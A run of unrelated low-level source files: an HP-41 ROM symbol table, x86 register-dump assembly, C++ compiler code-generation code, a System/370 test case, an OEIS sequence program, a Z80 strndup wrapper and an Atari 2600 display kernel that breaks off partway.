;:_XR_006.58 .con 0x ;:_XR_006.59 .con 0x ;:_XR_006.60 .con 0x ;:_XR_006.61 .con 0x ;:_XR_006.62 .con 0x ;:_XR_006.63 .con 0x ;:_XROM .con 0x ;:A<>RG .con 0x A06E ;:A>RG .con 0x A072 ;:A>ST .con 0x A074 ;:AINT .con 0x A076 ;:ALENG? .con 0x A004 ;:ALENGX .con 0x A006 ;:ALENGXY .con 0x A008 ;:-ALPHA_RG .con 0x A06C ;:-ALPHA_ROM .con 0x A002 ;:ANUMDEL .con 0x A00C ;:ANUMI .con 0x A00A ;:ARCIP .con 0x A078 ;:ARCLCHR .con 0x A00E ;:AREV .con 0x A010 ;:AROTX .con 0x A012 AAEE ABBB ;:ASCII .con 0x A014 ;:ASHFX .con 0x A016 ;:ASTOXX .con 0x A018 ;:ASUB .con 0x A01A ;:ASWAP .con 0x A01C ;:AVIEW .con 0x A054 ;:AXEQ? .con 0x A01E ;:CHRSET .con 0x A056 ;:CLA? .con 0x A020 ;:CLAC .con 0x A022 ;:DCNT .con 0x A058 ;:DCNT- .con 0x A05E ;:DCNT? .con 0x A05A ;:DCNT+ .con 0x A05C ;:DISPLAY .con 0x A060 ;:-DISPLAY .con 0x A052 ;:DSP? .con 0x A062 ;:DTEST .con 0x A064 ;:DTOA .con 0x A066 ;:LADEL .con 0x A024 ;:LADELX .con 0x A026 ;:LATOX .con 0x A028 ;:LB_A0AC .con 0x A09A A0A5 A0DB ;:LB_A0BB .con 0x A0B6 ;:LB_A0C1 .con 0x A0BE ;:LB_A0C9 .con 0x A0C4 ;:LB_A0D1 .con 0x A0CC ;:LB_A0D4 .con 0x A0BA A0C0 A0C8 A0D0 ;:LB_A0D5 .con 0x A0B1 ;:LB_A0F8 .con 0x A105 ;:LB_A107 .con 0x A0FA ;:LB_A10B .con 0x A10E ;:LB_A112 .con 0x A115 ;:LB_A114 .con 0x A111 ;:LB_A11C .con 0x A128 ;:LB_A121 .con 0x A123 ;:LB_A12A .con 0x A0E6 A0F0 ;:LB_A12D .con 0x A133 ;:LB_A165 .con 0x A15D ;:LB_A168 .con 0x A162 A183 ;:LB_A16A .con 0x A16D ;:LB_A16E .con 0x A164 ;:LB_A17F .con 0x A18D A190 ;:LB_A188 .con 0x A180 ;:LB_A18F .con 0x A18B ;:LB_A1B0 .con 0x A1BD ;:LB_A1B2 .con 0x A1A8 ;:LB_A1B7 .con 0x A1B5 ;:LB_A1B8 .con 0x A1B9 ;:LB_A1D5 .con 0x A1D0 ;:LB_A1DB .con 0x A1D8 ;:LB_A1EB .con 0x A1E8 ;:LB_A21C .con 0x A21F ;:LB_A224 .con 0x A225 ;:LB_A227 .con 0x A22A ;:LB_A245 .con 0x A23D ;:LB_A267 .con 0x A264 ;:LB_A26D .con 0x A275 ;:LB_A283 .con 0x A27C ;:LB_A2B0 .con 0x A2AD ;:LB_A2C5 .con 0x A2D2 ;:LB_A2CA .con 0x A2C6 ;:LB_A2CC .con 0x A2DA ;:LB_A2D3 .con 0x A2CB ;:LB_A2F7 .con 0x A3F6 ;:LB_A306 .con 0x A302 A304 ;:LB_A30B .con 0x A30F ;:LB_A317 .con 0x A323 ;:LB_A322 .con 0x A316 ;:LB_A327 .con 0x A312 ;:LB_A338 .con 0x A332 ;:LB_A33A .con 0x A362 ;:LB_A33F .con 0x A35D ;:LB_A349 .con 0x A346 ;:LB_A351 .con 0x A34E ;:LB_A359 .con 0x A34B A354 A357 ;:LB_A376 .con 0x A379 ;:LB_A385 .con 0x A394 ;:LB_A38B .con 0x A386 ;:LB_A38C .con 0x A388 ;:LB_A38E .con 0x A39F ;:LB_A395 .con 0x A38D ;:LB_A3B9 .con 0x A3B7 ;:LB_A3BE .con 0x A3CC ;:LB_A3CE .con 0x A3AB ;:LB_A3D1 .con 0x A3F4 ;:LB_A3E4 .con 0x A3E1 ;:LB_A3E5 .con 0x A3E3 ;:LB_A3E8 .con 0x A3DD ;:LB_A3EF .con 0x A3EC ;:LB_A3F1 .con 0x A3DB A3DF A3E7 A3EA ;:LB_A426 .con 0x A433 ;:LB_A434 .con 0x A428 ;:LB_A450 .con 0x A458 ;:LB_A45B .con 0x A452 ;:LB_A462 .con 0x A49F ;:LB_A46A .con 0x A467 ;:LB_A46B .con 0x A469 ;:LB_A486 .con 0x A47E ;:LB_A488 .con 0x A477 ;:LB_A4A3 .con 0x A492 ;:LB_A4AA .con 0x A4A2 ;:LB_A4B8 .con 0x A4B5 ;:LB_A4C8 .con 0x A4C5 ;:LB_A4CF .con 0x A4C7 ;:LB_A4DB .con 0x A4D4 ;:LB_A4DD .con 0x A4E3 ;:LB_A4E4 .con 0x A4F0 ;:LB_A4E5 .con 0x A4DF ;:LB_A4ED .con 0x A4E9 ;:LB_A4F1 .con 0x A4E0 A4ED ;:LB_A505 .con 0x A48D ;:LB_A509 .con 0x A506 ;:LB_A50B .con 0x A497 AC79 ;:LB_A526 .con 0x A52C ;:LB_A52D .con 0x A52A ;:LB_A52E .con 0x A527 A538 A544 ;:LB_A534 .con 0x A530 ;:LB_A550 .con 0x A54A ;:LB_A562 .con 0x A560 A56F ;:LB_A593 .con 0x A5A8 ;:LB_A5CB .con 0x A5C4 ;:LB_A5DB .con 0x A5D7 ;:LB_A5E0 .con 0x A5DC ;:LB_A5E2 .con 0x A5DF ;:LB_A5E8 .con 0x A5DA ;:LB_A5F1 .con 0x A5CB A5EB A625 ;:LB_A601 .con 0x A5F9 ;:LB_A609 .con 0x A5B4 ;:LB_A624 .con 0x A61D ;:LB_A63B .con 0x A637 ;:LB_A63D .con 0x A63A ;:LB_A64A .con 0x A5EE ;:LB_A661 .con 0x A6CC A6D4 A6F0 A716 A72F ;:LB_A667 .con 0x A663 ;:LB_A67F .con 0x A67D ;:LB_A683 .con 0x A687 ;:LB_A699 .con 0x A694 ;:LB_A69A .con 0x A698 ;:LB_A6A0 .con 0x A685 ;:LB_A6A6 .con 0x A69F ;:LB_A6AB .con 0x A6A9 ;:LB_A6B1 .con 0x A68D ;:LB_A6F0 .con 0x A6DB ;:LB_A702 .con 0x A700 ;:LB_A70E .con 0x A70B ;:LB_A724 .con 0x A722 ;:LB_A727 .con 0x A740 ;:LB_A74C .con 0x A74A ;:LB_A754 .con 0x A75D ;:LB_A773 .con 0x A774 ;:LB_A77A .con 0x A777 ;:LB_A77F .con 0x A790 ;:LB_A79F .con 0x A7A1 ;:LB_A7A3 .con 0x A799 ;:LB_A7A9 .con 0x A7A2 ;:LB_A7AF .con 0x A7CF ;:LB_A7B2 .con 0x A7D2 ;:LB_A7BC .con 0x A7BA ;:LB_A7C4 .con 0x A7C1 ;:LB_A7D0 .con 0x A7CB ;:LB_A7D3 .con 0x A79D A7AE A7C9 ;:LB_A7D9 .con 0x A7C3 ;:LB_A7E4 .con 0x A7D8 ;:LB_A7FD .con 0x A7FD ;:LB_A800 .con 0x A966 A9F9 AC91 ;:LB_A801 .con 0x A83B ;:LB_A819 .con 0x A816 ;:LB_A81E .con 0x A809 A811 A818 ;:LB_A820 .con 0x A81B A81D ;:LB_A82A .con 0x A837 ;:LB_A832 .con 0x A827 ;:LB_A83A .con 0x A9F2 ;:LB_A863 .con 0x A852 ;:LB_A891 .con 0x A891 ;:LB_A8AB .con 0x AB83 ;:LB_A8B0 .con 0x A8AA ;:LB_A8B2 .con 0x A9A8 A9D3 AA42 ;:LB_A8C3 .con 0x A8BB A8BE ;:LB_A8C7 .con 0x A8C0 ;:LB_A8DC .con 0x A8DB ;:LB_A8F5 .con 0x A8EE ;:LB_A900 .con 0x A3AC A8F8 AA3D AA8B AB3A ;:LB_A922 .con 0x A913 A917 A91B A91F ;:LB_A929 .con 0x A92D ;:LB_A92C .con 0x A928 ;:LB_A92E .con 0x A921 ;:LB_A93F .con 0x A94F ;:LB_A949 .con 0x A7F7 ;:LB_A94E .con 0x AB8A ;:LB_A966 .con 0x A95E ;:LB_A96F .con 0x A8FD ;:LB_A972 .con 0x A982 A987 ;:LB_A977 .con 0x A975 ;:LB_A988 .con 0x A97C ;:LB_A98C .con 0x A9AE A9C7 ;:LB_A98D .con 0x AB87 ;:LB_A98E .con 0x A9A1 ;:LB_A9B5 .con 0x A9E0 ;:LB_A9B7 .con 0x A9C6 ;:LB_A9B8 .con 0x A9C1 ;:LB_A9C7 .con 0x A9E1 ;:LB_A9D0 .con 0x A9F5 ;:LB_A9E2 .con 0x A9DC ;:LB_A9EB .con 0x A9F0 ;:LB_A9F2 .con 0x A7EF ;:LB_AA0B .con 0x AA07 AA10 ;:LB_AA0F .con 0x AA05 ;:LB_AA24 .con 0x A9E9 AA27 ;:LB_AA29 .con 0x A9FF AA34 ;:LB_AA54 .con 0x AA6D ;:LB_AA55 .con 0x AA68 ;:LB_AA5D .con 0x AA5A ;:LB_AA5F .con 0x AA5C ;:LB_AA6B .con 0x AA53 ;:LB_AA6E .con 0x AA41 AA46 ;:LB_AA6F .con 0x AA83 ;:LB_AA70 .con 0x AA7E ;:LB_AA81 .con 0x AA4B ;:LB_AA84 .con 0x AA61 AA63 AA6E AA77 AA79 ;:LB_AA8B .con 0x A8A6 ;:LB_AA97 .con 0x AAB7 AABC ;:LB_AAAA .con 0x AAA6 ;:LB_AAB1 .con 0x AAA8 AABE ;:LB_AABD .con 0x AAA0 AAA3 ;:LB_AABF .con 0x AAB2 ;:LB_AAC0 .con 0x AA90 ;:LB_AAC7 .con 0x AACA ;:LB_AAC9 .con 0x AAC6 ;:LB_AACC .con 0x A899 ;:LB_AACE .con 0x AAC2 ;:LB_AAFF .con 0x AB1E ;:LB_AB10 .con 0x AB0B ;:LB_AB17 .con 0x AB0F AB13 ;:LB_AB1F .con 0x AB06 ;:LB_AB47 .con 0x AB3E AB4A AB50 ;:LB_AB51 .con 0x AB4C ;:LB_AB57 .con 0x AB3F ;:LB_AB5F .con 0x AB72 AB77 ;:LB_AB78 .con 0x AB65 AB6B AB6D ;:LB_AB80 .con 0x A955 ;:LB_AB86 .con 0x AB82 ;:LB_AB94 .con 0x ABB1 ;:LB_AB9D .con 0x ABAC ;:LB_ABA4 .con 0x ABA2 ;:LB_ABAB .con 0x ABA5 ABA9 ;:LB_ABB2 .con 0x ABAE ;:LB_ABB5 .con 0x ABB3 ;:LB_ABC5 .con 0x ABC2 ;:LB_ABCF .con 0x ABC4 ;:LB_ABE3 .con 0x A940 ;:LB_ABFA .con 0x ABF6 ;:LB_ABFE .con 0x ABF9 ;:LB_AC25 .con 0x AC1E ;:LB_AC29 .con 0x AC26 ;:LB_AC2C .con 0x AC28 ;:LB_AC4F .con 0x AC64 ;:LB_AC51 .con 0x AC30 ;:LB_AC9B .con 0x ACA6 ;:LB_ACBC .con 0x AD69 ;:LB_ACC1 .con 0x ACCC ;:LB_ACD2 .con 0x ACD7 ;:LB_ACD8 .con 0x AD76 ;:LB_ACDC .con 0x AD47 ;:LB_ACDF .con 0x ACDB ;:LB_ACE8 .con 0x ACE5 ;:LB_ACF0 .con 0x ACF3 ;:LB_ACF4 .con 0x ACF1 ;:LB_AD07 .con 0x AD2E ;:LB_AD09 .con 0x AD23 ;:LB_AD11 .con 0x AD08 ;:LB_AD12 .con 0x AD22 ;:LB_AD1F .con 0x AD1B ;:LB_AD21 .con 0x AD1E ;:LB_AD23 .con 0x AD60 ;:LB_AD26 .con 0x AD31 ;:LB_AD32 .con 0x AD5C ;:LB_AD37 .con 0x AD40 ;:LB_AD48 .con 0x AD75 ;:LB_AD51 .con 0x AD4C ;:LB_AD53 .con 0x AD50 ;:LB_AD60 .con 0x AD5B ;:LB_AD63 .con 0x AD5F ;:LB_AD75 .con 0x AD67 ;:LB_AD7C .con 0x AC29 ;:LB_AD80 .con 0x AD84 ;:LB_AD85 .con 0x AD97 ;:LB_AD98 .con 0x AD8B AD8E ;:LB_ADA4 .con 0x AC2C ;:LB_ADB2 .con 0x ADA7 ADA9 ;:LB_ADBF .con 0x A764 ;:LB_ADC6 .con 0x ADC3 ;:LB_ADCF .con 0x ADC5 ;:LB_ADD2 .con 0x A7AA A7D9 ABBE ADBF ;:LB_ADDB .con 0x ADE6 ;:LB_ADE8 .con 0x ADE1 ;:LB_ADF2 .con 0x A7DD ADCB ;:LB_ADFB .con 0x ADF8 ;:LB_ADFC .con 0x AE00 ;:LB_ADFD .con 0x ADF5 ;:LB_AE01 .con 0x ADFE ;:LB_AE0E .con 0x AE0C ;:LB_AE10 .con 0x A7E0 ABCC ;:LB_AE1B .con 0x AE1F ;:LB_AE20 .con 0x AE1C ;:LB_AE23 .con 0x AE27 ;:LB_AE29 .con 0x AE24 ;:LB_AE31 .con 0x A76A A7A3 ;:LB_AE35 .con 0x AE30 ;:LB_AE40 .con 0x AE47 ;:LB_AE43 .con 0x AE3C ;:LB_AE49 .con 0x AE75 ;:LB_AE4D .con 0x AE58 ;:LB_AE5A .con 0x AE53 ;:LB_AE5D .con 0x AE6D ;:LB_AE64 .con 0x AE49 ;:LB_AE7B .con 0x AEAD ;:LB_AE88 .con 0x AEAE ;:LB_AE9B .con 0x AECD AED9 ;:LB_AE9F .con 0x AEB2 AED1 ;:LB_AEAF .con 0x AEC7 AECA AEE2 AEE6 ;:LB_AEB3 .con 0x AEA8 ;:LB_AEC4 .con 0x AE93 ;:LB_AECE .con 0x AE97 ;:LB_AED1 .con 0x AEE7 ;:LB_AED7 .con 0x AEE4 ;:LB_AED9 .con 0x AEDF ;:LB_AEDA .con 0x AED4 ;:LB_AEE0 .con 0x AEDC ;:LB_AEE5 .con 0x AED6 ;:LB_AF91 .con 0x AFBA AFD2 ;:LB_AF94 .con 0x AF98 AF9A ;:LB_AF9F .con 0x AFA1 ;:LB_AFA8 .con 0x AFA3 ;:LB_AFB0 .con 0x AFC8 ;:LB_AFB6 .con 0x AFB7 ;:LB_AFB9 .con 0x AFF7 ;:LB_AFBF .con 0x AFBD ;:LB_AFC6 .con 0x AFC5 ;:LB_AFC8 .con 0x AFC6 ;:LB_AFCD .con 0x AFCE ;:LB_AFD1 .con 0x AFF9 ;:LB_AFD7 .con 0x AFD5 ;:LB_AFDA .con 0x AFD9 ;:LB_AFDC .con 0x AFDA ;:LB_AFDD .con 0x AFDB ;:LB_AFE5 .con 0x AFD0 ;:LB_AFE6 .con 0x AFFA ;:LB_AFED .con 0x AFE5 ;:LEFT$ .con 0x A02A ;:LOW$ .con 0x A02C ;:M<>N .con 0x A07A ;:M<>O .con 0x A07C ;:MID$ .con 0x A02E ;:PMTA .con 0x A030 ;:POSAX .con 0x A032 AAE1 ;:POSTFX .con 0x A034 ;:POSTSP .con 0x A036 AB51 ;:PREFX .con 0x A038 ;:PRESP .con 0x A03A ;:RADEL .con 0x A03C AAF1 ;:RATOX .con 0x A03E ;:REMZER .con 0x A040 ;:RG>A .con 0x A07E ;:RIGHT$ .con 0x A042 ;:ST<>A .con 0x A070 ;:ST>A .con 0x A080 ;:TOGLC .con 0x A044 ;:UPR$ .con 0x A046 ;:VIEWA .con 0x A068 ;:XATOX .con 0x A048 ;:XTOAI .con 0x A04A ;:XTOAL .con 0x A04C ;:XTOAR .con 0x A04E AADE ;:YTOAX .con 0x A050 ;:ZAVIEW .con 0x A06A ;:EXTERNAL REFERENCES ;:SYMBOL--------VALUE---REFERENCES------------- ;:AD2-10 1807 .con 0x AAEA ABDC ;:AFORMT 0628 .con 0x A604 AC46 ;:AON 133C .con 0x ;:AOUTR0 2C32 .con 0x ;:APND10 1FF5 .con 0x ;:APNDNW 2D14 .con 0x A5E3 A5E9 A622 A62C A631 A63E A643 A648 A73D A758 A78E A9EC AB1C ACA0 ;:ARGOUT 2C10 .con 0x A4A4 A4A8 ;:ASRCH 26C5 .con 0x ;:BCDBIN 02E3 .con 0x A173 A1E2 A258 A41F A444 A518 A551 A6FC A896 ADAF AE43 ;:BSTEP 28DE .con 0x ;:CHK$S 14D8 .con 0x A747 A8B5 AC39 AE37 ;:CHK$S1 14D4 .con 0x ;:CLA 10D1 .con 0x A424 A4C2 A4E6 A5BB A618 AAFD ;:CLLCDE 2CF0 .con 0x A219 A3CE A50D A6B1 A6DC AF91 ;:CLRLCD 2CF6 .con 0x ;:DECAD 29C7 .con 0x ;:DECADA 29CA .con 0x AD3E ;:DIGENT 0837 .con 0x ;:ENCP00 0952 .con 0x A1CA AB17 ;:ENLCD 07F6 .con 0x A4BD AAFF ;:ERR110 22FB .con 0x A6EE AFE3 ;:ERRAD 14E2 .con 0x ;:ERRDE 282D .con 0x A1E9 A256 A401 A405 A51E A8C7 ACED AD56 AD64 AE40 ;:ERRNE 02E0 .con 0x A269 A29F A414 A42E A438 A55A A894 ADBA ;:ERROF 00A2 .con 0x A828 AAAB ;:ERRSUB 22E8 .con 0x ;:FILLXL 00EA .con 0x AD6D ;:FIND$1 1775 .con 0x ;:GENNUM 05E8 .con 0x ;:GETPC 2950 .con 0x AD7E ;:GETX10 880C .con 0x ;:GOTINT 02F8 .con 0x ;:GSB768 23FA .con 0x A93A A96B A9B0 A9D1 A9FD AA24 AA32 ACB6 ;:GTBYTA 29BB .con 0x A72C A786 A7B2 AD18 AD37 ADDD AE4F AE8C ;:GTRMAD 0800 .con 0x A267 A29D A412 A42C A436 ;:INCADA 29D6 .con 0x A7CD A7D0 AD12 ADDB AE4D AEA9 ;:INT 1177 .con 0x AC3B ;:INTFRC 193B .con 0x ;:INTINT 02FB .con 0x ;:LDSST0 0797 .con 0x A4AF A64A A71C AFED ;:LEFTJ 2BF7 .con 0x A6BE A6E9 AFB0 ;:MESSL 07EF .con 0x A6B3 A6DE ;:MP2-10 184D .con 0x A885 ;:MSG105 1C80 .con 0x A6C1 A6EC AC8A AFB2 AFE1 ;:NAME33 0EEF .con 0x ;:NBYTAB 2D06 .con 0x ;:NFRPR 00EE .con 0x ;:NFRPU 00F0 .con 0x A64E ;:NFRX 00CC .con 0x ;:NOREG9 095E .con 0x ;:NXBYTA 29B9 .con 0x ;:NXTBYT 2D07 .con 0x A317 AD80 ;:PACKN 0000 .con 0x ;:PARSE 0C05 .con 0x ;:PTBYTA 2323 .con 0x A78C ABC6 AD7A AEA2 ;:PUTPCX 232F .con 0x AD9C ;:R^SUB 14ED .con 0x AEBE ;:RCL 122E .con 0x A944 ABD0 ;:RMCK10 27F3 .con 0x ;:RSTKB 0098 .con 0x ;:RTJLBL 14C9 .con 0x ;:SAVRTN 27D3 .con 0x ;:SKP 162E .con 0x ;:STBT10 2EA3 .con 0x ;:ULINK2 2241 .con 0x ;:XAVIEW 0364 .con 0x A64C A89D AB23 ;:XEQ50 2501 .con 0x ;:XYY 1617 .con 0x
; ======================== ZagrOS ======================= ; Zagros Open Source Operating System ; Saeid Bostandoust (ssbostan@linuxmail.org) ; Bostandoust.IR ; ======================== ZagrOS ======================= ; ==================== zero_cpu_regs ==================== zero_cpu_regs: mov ax, 0 mov bx, 0 mov cx, 0 mov dx, 0 mov si, 0 mov di, 0 ret ; ==================== zero_cpu_regs ==================== ; ==================== dump_cpu_regs ==================== dump_cpu_regs: push ax push bx push cx push dx push si push di cpu_dump_cpu_regs_ax: mov si, offset _AX add si, 03h call hex2str cpu_dump_cpu_regs_bx: mov ax, bx mov si, offset _BX add si, 03h call hex2str cpu_dump_cpu_regs_cx: mov ax, cx mov si, offset _CX add si, 03h call hex2str cpu_dump_cpu_regs_dx: mov ax, dx mov si, offset _DX add si, 03h call hex2str cpu_dump_cpu_regs_sp: mov ax, sp mov si, offset _SP add si, 03h call hex2str cpu_dump_cpu_regs_bp: mov ax, bp mov si, offset _BP add si, 03h call hex2str cpu_dump_cpu_regs_si: pop di pop si mov ax, si push si push di mov si, offset _SI add si, 03h call hex2str cpu_dump_cpu_regs_di: mov ax, di mov si, offset _DI add si, 03h call hex2str cpu_dump_cpu_regs_ds: mov ax, ds mov si, offset _DS add si, 03h call hex2str cpu_dump_cpu_regs_es: mov ax, es mov si, offset _ES add si, 03h call hex2str cpu_dump_cpu_regs_ss: mov ax, ss mov si, offset _SS add si, 03h call hex2str cpu_dump_cpu_regs_cs: mov ax, cs mov si, offset _CS add si, 03h call hex2str pop di pop si pop dx pop cx pop bx pop ax ret _AX db "AX=", 05h dup(00h) _BX db "BX=", 05h dup(00h) _CX db "CX=", 05h dup(00h) _DX db "DX=", 05h dup(00h) _SP db "SP=", 05h dup(00h) _BP db "BP=", 05h dup(00h) _SI db "SI=", 05h dup(00h) _DI db "DI=", 05h dup(00h) _DS db "DS=", 05h dup(00h) _ES db "ES=", 05h dup(00h) _SS db "SS=", 05h dup(00h) _CS db "CS=", 05h dup(00h) ; ==================== dump_cpu_regs ====================
#include <memory> #include <locic/CodeGen/Primitive.hpp> #include <locic/CodeGen/PrimitiveMap.hpp> #include <locic/CodeGen/Primitives/BoolPrimitive.hpp> #include <locic/CodeGen/Primitives/CompareResultPrimitive.hpp> #include <locic/CodeGen/Primitives/FloatPrimitive.hpp> #include <locic/CodeGen/Primitives/FunctionPtrPrimitive.hpp> #include <locic/CodeGen/Primitives/NullPrimitive.hpp> #include <locic/CodeGen/Primitives/PtrPrimitive.hpp> #include <locic/CodeGen/Primitives/RefPrimitive.hpp> #include <locic/CodeGen/Primitives/SignedIntegerPrimitive.hpp> #include <locic/CodeGen/Primitives/StaticArrayPrimitive.hpp> #include <locic/CodeGen/Primitives/TypenamePrimitive.hpp> #include <locic/CodeGen/Primitives/UnicharPrimitive.hpp> #include <locic/CodeGen/Primitives/UnsignedIntegerPrimitive.hpp> #include <locic/CodeGen/Primitives/ValueLvalPrimitive.hpp> #include <locic/CodeGen/Primitives/VoidPrimitive.hpp> #include <locic/AST/TypeInstance.hpp> #include <locic/Support/Compiler.hpp> #include <locic/Support/PrimitiveID.hpp> namespace locic { namespace CodeGen { Primitive* createPrimitive(const AST::TypeInstance& typeInstance) { const auto primitiveID = typeInstance.primitiveID(); switch (primitiveID) { case PrimitiveVoid: { return new VoidPrimitive(typeInstance); } case PrimitiveNull: { return new NullPrimitive(typeInstance); } case PrimitiveBool: { return new BoolPrimitive(typeInstance); } case PrimitiveCompareResult: { return new CompareResultPrimitive(typeInstance); } case PrimitiveUnichar: { return new UnicharPrimitive(typeInstance); } CASE_CALLABLE_ID(PrimitiveFunctionPtr): CASE_CALLABLE_ID(PrimitiveMethodFunctionPtr): CASE_CALLABLE_ID(PrimitiveTemplatedFunctionPtr): CASE_CALLABLE_ID(PrimitiveTemplatedMethodFunctionPtr): CASE_CALLABLE_ID(PrimitiveVarArgFunctionPtr): CASE_CALLABLE_ID(PrimitiveMethod): CASE_CALLABLE_ID(PrimitiveTemplatedMethod): CASE_CALLABLE_ID(PrimitiveInterfaceMethod): CASE_CALLABLE_ID(PrimitiveStaticInterfaceMethod): { return new FunctionPtrPrimitive(typeInstance); } case PrimitiveInt8: case PrimitiveInt16: case PrimitiveInt32: case PrimitiveInt64: case PrimitiveByte: case PrimitiveShort: case PrimitiveInt: case PrimitiveLong: case PrimitiveLongLong: case PrimitiveSSize: case PrimitivePtrDiff: { return new SignedIntegerPrimitive(typeInstance); } case PrimitiveUInt8: case PrimitiveUInt16: case PrimitiveUInt32: case PrimitiveUInt64: case PrimitiveUByte: case PrimitiveUShort: case PrimitiveUInt: case PrimitiveULong: case PrimitiveULongLong: case PrimitiveSize: { return new UnsignedIntegerPrimitive(typeInstance); } case PrimitiveFloat: case PrimitiveDouble: case PrimitiveLongDouble: { return new FloatPrimitive(typeInstance); } case PrimitiveRef: { return new RefPrimitive(typeInstance); } case PrimitivePtr: { return new PtrPrimitive(typeInstance); } case PrimitiveValueLval: { return new ValueLvalPrimitive(typeInstance); } case PrimitiveTypename: { return new TypenamePrimitive(typeInstance); } case PrimitiveAbstractTypename: { locic_unreachable("TODO"); } case PrimitiveStaticArray: { return new StaticArrayPrimitive(typeInstance); } } locic_unreachable("Invalid PrimitiveID."); } PrimitiveMap::PrimitiveMap() { } PrimitiveMap::~PrimitiveMap() { } const Primitive& PrimitiveMap::getPrimitive(const AST::TypeInstance& typeInstance) const { const auto iterator = primitives_.find(&typeInstance); if (iterator != primitives_.end()) { return *(iterator->second); } std::unique_ptr<Primitive> primitive(createPrimitive(typeInstance)); const auto primitivePtr = primitive.get(); primitives_.insert(std::make_pair(&typeInstance, std::move(primitive))); return *primitivePtr; } } }
prob TITLE 'Null problem state test case.' * * This file was put into the public domain 2016-11-29 * by John P. Hartmann. You can use it for anything you like, * as long as this notice remains. * prob start 0 using prob,15 org prob+x'1a0' Restart * P dc x'0001000180000000',ad(go) org prob+x'1c0' SVC new dc x'0002000180000000',ad(0) org prob+x'1d0' Program dc x'0002000180000000',ad(x'deaddead') org prob+x'200' go equ * svc 0 OK end
; A040157: Continued fraction for sqrt(171). ; Submitted by Christian Krause ; 13,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13,26,13 trn $0,1 mod $0,2 mul $0,13 add $0,13
; char *strndup(const char *s, size_t n) SECTION code_string PUBLIC _strndup EXTERN asm_strndup _strndup: pop af pop hl pop bc push bc push hl push af jp asm_strndup
drawscreen lda #1 sta CXCLR sta COLUBK ; REVENG - don't start with the lastline color fufu lda INTIM bmi fufu VERTICAL_SYNC lda #41+128;was 37 - do more w/c code sta TIM64T ; adjust for pfpos? ; set zero to properly enter C code lda #<C_function sta DF0LOW lda #(>C_function) & $0F sta DF0HI lda #0 sta DF0WRITE ; REVENG - pass the number of vsprites we want... ifnconst dpcspritemax ifconst readpaddle lda #8 else lda #9 endif else lda #dpcspritemax endif sta DF0WRITE lda player0x sta player0xcoll ; detect p0x colls ; copy RAM to fetcher for C-code lda #<(CcodeData + RAMcopylength) sta DF0LOW lda #(>(CcodeData + RAMcopylength)) & $0F sta DF0HI ldx #RAMcopylength-1 copy2fetcherloop lda RAMcopybegin,x sta DF0PUSH dex bpl copy2fetcherloop lda #255 sta CALLFUNCTION ; copy modified data back (just need first 6 bytes, which is sprite sort data) ldx #256-19 copyfromfetcherloop lda DF0DATA sta RAMcopybegin+19,x inx bmi copyfromfetcherloop jsr kernel_setup sta WSYNC ldy #$80 sty HMP0 sty HMP1 sty HMM0 sty HMM1 sty HMBL ; run possible vblank bB code ifconst vblank_bB_code jsr vblank_bB_code endif jsr set_fetchers ldx #7 setloopfrac lda dffraclow,x sta DF0FRACLOW,x lda dffrachi,x sta DF0FRACHI,x dex bpl setloopfrac ; lda #255 STx DF5FRACINC ; x=255 right now STx DF7FRACINC lda DF5FRACDATA ; priming read lda DF7FRACDATA ; priming read LDA DF6FRACDATA ; priming read (so first bg color value won't be read twice) LDA DF4FRACDATA ; priming read (so first pf color value won't be read twice) ldx SpriteGfxIndex lda _NUSIZ1,x ; top NUSIZ/REFP sta NUSIZ1 sta REFP1 ;REVENG - allow P0 to wrap at the top startwrapfix lda #255 sta temp2 clc lda player0y adc player0height sec cmp player0height bcc skipwrapfix lda #0 sta temp2 skipwrapfix sec lda #<P0GFX sbc player0y sta DF2LOW lda #>P0GFX ;sbc #0 sbc temp2 sta DF2HI lda #<(P0GFX-1) sta DF2TOP sec adc player0height sta DF2BOT ;REVENG - 1/2 of the COLUM0 fix. the rest is in main.c lda #<(P0COLOR) sta DF0LOW sta temp2 lda #>(P0COLOR) sta DF0HI ; ball lda #<(P1GFX-1) clc adc bally sta DF3TOP sec adc ballheight sta DF3BOT ; missile0 lda temp2 clc adc missile0y sta DF0TOP sec adc missile0height sta DF0BOT fuu lda INTIM bmi fuu sta WSYNC ; ldy #$80 ; sty HMP0 ; sty HMP1 ; sty HMM0 ; sty HMM1 ; sty HMBL ; relocated code above prior to vblank, to allow for Cosmic Ark starfield ; and/or skewed players sleep 17 lda #KERNEL_LINES sta TIM64T lda #1 sta VDELBL sta VDELP0 ; missile1 lda #<(P1COLOR-1) clc adc missile1y sta DF1TOP sec adc missile1height sta DF1BOT lda #0 sta VBLANK sta FASTFETCH ;sleep 7 lda #<DF2DATAW ; REVENG - added so GRP0 is at TOP STA GRP0 ; 36 (VDEL) ; "" sleep 2 ; "" lda #<DF0FRACDATA sta PF1 ; (PF1L) ; enter at cycle ?? loop: lda #<DF0DATA ;74 STA COLUP0 ; 1 lda #<DF1DATA ;3 loop2 STA COLUP1 ; 6 lda #<DF3DATA STA GRP1 ; 11 lda #<DF0FLAG STA ENAM0 ; 16 lda #<DF6FRACDATA sta COLUBK ; 21 lda #<DF4FRACDATA sta COLUPF ; 26 lda #<DF1FRACDATA sta PF2 ; 31 (PF2L) loop3 lda #<DF2DATAW STA GRP0 ; 36 (VDEL) lda #<DF3FLAG STA ENABL ; 41 (VDEL) ldx #$70 ;in case we get kernel 6 lda #<DF2FRACDATA ;45 sta PF2 ; 48 sty HMP1 ; 51 ; from prev. cycle: $80=nomove lda #<DF3FRACDATA ;53 sta PF1 ; 56 lda #<DF4DATA ; 58 this is the repos info beq repo ;60/61 norepo ; 60 tay ; 62 lda #<DF0DATA ; 64 ldx INTIM ; 68 timed for 192 lines beq exitkernel; 70/71 sta HMOVE ; 73 STA COLUP0 ; 0 lda #<DF1DATA ;2 STA COLUP1 ;5 lda #<DF3DATA STA GRP1 ; 10 lda #<DF1FLAG STA ENAM1 ; 15 lda #<DF0FRACDATA sta PF1 ; 20 (PF1L) lda #<DF1FRACDATA sta PF2 ; 25 (PF2L) lda #<DF2DATAW STA GRP0 ; 30 (VDEL) lda #<DF3FLAG STA ENABL ; 35 (VDEL) dey ; 37 STY DF4PUSH ; 41 ldy #$80 ; 43 no movement next line lda #<DF2FRACDATA ;45 sta PF2 ; 48 sty HMP1 ; 51 ; from prev. cycle: $80=nomove lda #<DF3FRACDATA ;53 sta PF1 ; 56 ifnconst DPC_kernel_options ;sleep 8 ; REVENG - timing is off - results in a 